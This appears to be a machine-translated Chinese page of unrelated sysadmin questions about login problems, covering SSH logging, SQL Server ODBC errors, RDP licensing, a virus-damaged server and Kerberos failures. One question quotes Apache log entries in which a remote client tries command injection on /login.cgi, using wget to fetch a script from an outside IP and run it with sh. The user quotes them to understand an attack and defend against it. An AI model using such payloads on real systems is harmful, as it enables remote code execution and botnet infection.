标签: login

在我的虚拟服务器中，ssh 不在端口 22 上，我不允许使用密码登录，也不允许 root 登录。

最近，服务器没有响应。我的托管公司告诉我，我的 Apache 配置允许太多并发用户，所以他们更改了它。

当我登录时，shell 向我打招呼，说上次登录是我自己，8 小时前。

他们是如何访问和修改这个系统中的文件的？

虚拟机是否允许探索文件系统和修改文件？

我有一个运行服务的 ubuntu 14.04 服务器，我目前正在设置一些日志可视化，但我注意到我的 /var/log/auth.log 是空的。

我认为它不会有太多内容，因为除了使用 ssh 密钥之外，我还禁用了 ssh 连接。但是，我确实希望有 sshd 日志。是否还有其他地方可以让我看到使用 ssh 密钥的登录信息，或者是否还有其他我不知道的事情发生？

我的最终目标是记录每次有人尝试使用密钥或不使用密钥登录时的日志。

编辑1

我看到有 auth.log 备份，但它们没有记录 ssh 尝试，或使用密钥成功的 ssh 登录。它们只显示 CRON 作业。

我还将 sshd_config 日志记录级别提升到 VERBOSE 而不是 INFO。

我正在构建一个新服务器Apache，实际上我正在学习，所以我正在尝试不同的东西。我的安全系统已经完成，但当然我可能会遗漏一些东西，或者，如果没有，我明白今天没有任何系统可以 100% 保护我。那么，为什么我认为有人尝试过我，只是因为我在日志中收到了以下信息：

1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"

41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566

还有更多。我知道有人收到错误 400，这对我来说还不错。所以，实际上我的问题不是他们是否尝试我，因为我认为是，因为这似乎不是对我网站的正常请求。我想得到这个请求的解释来理解和学习。他们实际上想做什么，找到我的登录系统并将其发送给某个人？

PS我已经知道wget你可以下载一些网站，我还发现这login.cgi是一个基于cookie的身份验证程序。

谢谢！

我们有一个可以使用 mssql2k 或 2k8 的应用程序。我们一直在使用 2k，但我决定尝试使用 2k8 进行比较。我和 mssql2k 一起安装在我们的 win2k3 服务器上。在服务器上的ODBC小程序中，我能够设置对2k8的访问，并且最终成功通过了测试，无论我告诉它使用Windows身份验证还是使用sql登录。后者是应用程序始终访问 mssql2k 的方式。该应用程序在服务器上运行良好，但是当我在工作站 (winxpsp3) 上尝试时，我看到一个标题为“Microsoft SQL Server 登录”的窗口，上面写着：

Connection failed:
SQLState: '01000'
SQL Server Error: 53
[Microsoft][ODBC SQL Server Driver][DBNETLIB]ConnectionOpen (Connect()).
Connection failed:
SQLState: '08001'
SQL Server ERror: 17
[Microsoft][ODBC SQL Server Driver][DBNETLIB]SQL Server does not exist or access denied.

然后我得到了 ODBC 登录对话框，我无法正确登录（我只是不断收到上述相同的错误），甚至在服务器上重置密码后复制并粘贴密码，以及是否选中“受信任” . “选项”被禁用。

对于 mssql2k，服务器是直接的 SERVERNAME，但对于 mssql2k8，它被称为 SERVERNAME\mssql2008。这在服务器上有效，为什么不在工作站上？（顺便说一句，我以同一个人身份登录。）

Windows XP 客户端，完全修补，带有 Symantec Endpoint Protection 11 客户端

Windows 2008 R2 域漫游配置文件文件夹重定向应用于文档、应用程序数据和桌面

我启用了 userenv 日志记录，并在昨晚 17:00 刚过登录。昨天晚上17:45我离开的时候用户shell还没有出现。当我今天早上到达时，我检查了日志文件，发现了以下内容。

USERENV(3f8.e7c) 17:02:18:296 LogExtSessionStatus: Successfully logged Extension Session data
USERENV(654.a30) 17:04:09:468 ImpersonateUser: Failed to impersonate user with 5.
USERENV(654.a30) 17:04:09:468 GetUserNameAndDomain Failed to impersonate user
USERENV(654.a30) 17:04:09:468 GetUserDNSDomainName:  Domain name is NT Authority.  No DNS domain name available.
USERENV(c8c.cb8) 17:04:09:781 LibMain: Process Name:  C:\Program Files\Symantec\Symantec Endpoint Protection\SescLU.exe
USERENV(cd0.cd4) 17:04:10:781 LibMain: Process Name:  C:\PROGRA~1\Symantec\LIVEUP~1\LUCOMS~1.EXE
USERENV(d08.c84) 17:07:09:609 LibMain: Process Name:  C:\Program Files\Symantec\Symantec Endpoint Protection\SescLU.exe
USERENV(cbc.cc0) 17:07:10:625 …

问题 1) 和 2) 被移到单独的线程中哪些 Windows 远程连接绕过 LSA？登录与登录会话的定义是什么？

3)

我是否正确理解 Windows XP 支持多个远程 RDP 会话但需要额外（或修改）许可？

哪一个？

或者在 Windows XP 上运行多个 RDP 会话总是非法的？即使通过非 MS 商业软件？

----------

更新1：

我已经理解我的错误——主要问题是关于定义（对于找到与他人的共同语言很重要），许可问题是附带的——但它已经得到了回答。

我将尝试将这些问题分开，留下有关 RDp 许可的问题并将其他问题迁移到单独的线程中

----------

更新2：

试图“解决”许可条款毫无意义且浪费时间

我从不尝试“解决问题”，也从不问这样的问题，我不是许可方面的专家。我的客户/雇主为我提供工具和许可支持。他们有公司律师、计划/会计/采购部门来处理这些问题。

我问的问题是我的开发工作中的可扩展性和效率（节省我和其他人的时间）问题。

例如，仅仅因为我需要对 Windows AD 进行身份验证，使用 ADAM 而不是使用 DC + 服务器 + 其他任何东西部署成熟的 AD 可以节省时间？

没有人强迫您使用 Windows XP

我不会急于在我所有的开发机器上重新安装我的所有操作系统（在家里，在客户端），只是因为有几个人在 serverfault.com 上对与开发相关的问题进行投票很有趣。如果我这样做了，我会在我同事等人的眼里把我当成一个小丑

更新：
我没有将此问题标记为已回答，因为它甚至没有解决这个问题，至少是我的问题。

我是否应该理解允许 Windows® XP 和 Windows® Small Business Server 2003 托管多个远程桌面会话的Terminal Server PRO是非法的？

相关：
我对问题的回答Windows XP 是否一次支持多个远程登录会话 (RDP)？

可能的重复：
在 Root 妥协后重新安装？

在具有管理权限的用户意外从连接到域的桌面上的 USB 驱动器加载病毒后，我们的一台服务器遭到破坏。最明显的两个症状是：

• 服务器不再响应登录尝试
• 包含用户数据的驱动器的根目录已被随机命名的空文件夹填充。（最初大约有 100 万个文件夹，我一直在慢慢删除它们。）

我已经运行了来自不同供应商的几次病毒扫描，并且非常确信病毒已被删除，但损坏已经完成。

我希望这两个症状是相关的，一旦目录消失，服务器将再次开始响应。驱动器响应非常慢。我一次删除大约 20k 个文件夹。除此之外，Windows资源管理器变得无响应。

如果我完成清理HD并且事情没有恢复正常，我还可以检查什么？

我安装了一个在 Windows Server 2008 R2（域控制器）上运行的备份软件程序 (Retrospect 7.5)。当我打开它说：

Retrospect 无法在指定的用户帐户 (DOMAIN\Administrator) 下启动，而是在本地系统下运行。这可以在配置>首选项>安全中更正。

如果我去那里，一切都是灰色的，无法改变。是否可以以“本地系统”身份登录到域控制器？如果是这样，如何？

我的服务器受到攻击，有人试图对我的 ssh 端口进行暴力攻击，我知道我可以使用 iptables、fail2ban 阻止非法 IP，但我想知道攻击者尝试使用哪个密码ssh，有没有办法在 ssh 上记录尝试的密码？

在身份验证方面需要一些帮助。在我们的日志中注意到 user1 有大量的 Kerberos 预身份验证失败。用户 1 的密码错误。但是，当我更仔细地查看日志时，我对这些事件感到有些困惑。

User1 正在针对 DC2 进行身份验证。我看到 DC2 对 User1 的 DC1 进行了第二次身份验证尝试。DC1 和 DC2 属于遏制领域。为什么身份验证从 DC2 到 DC1？为什么 DC2 上没有进行身份验证？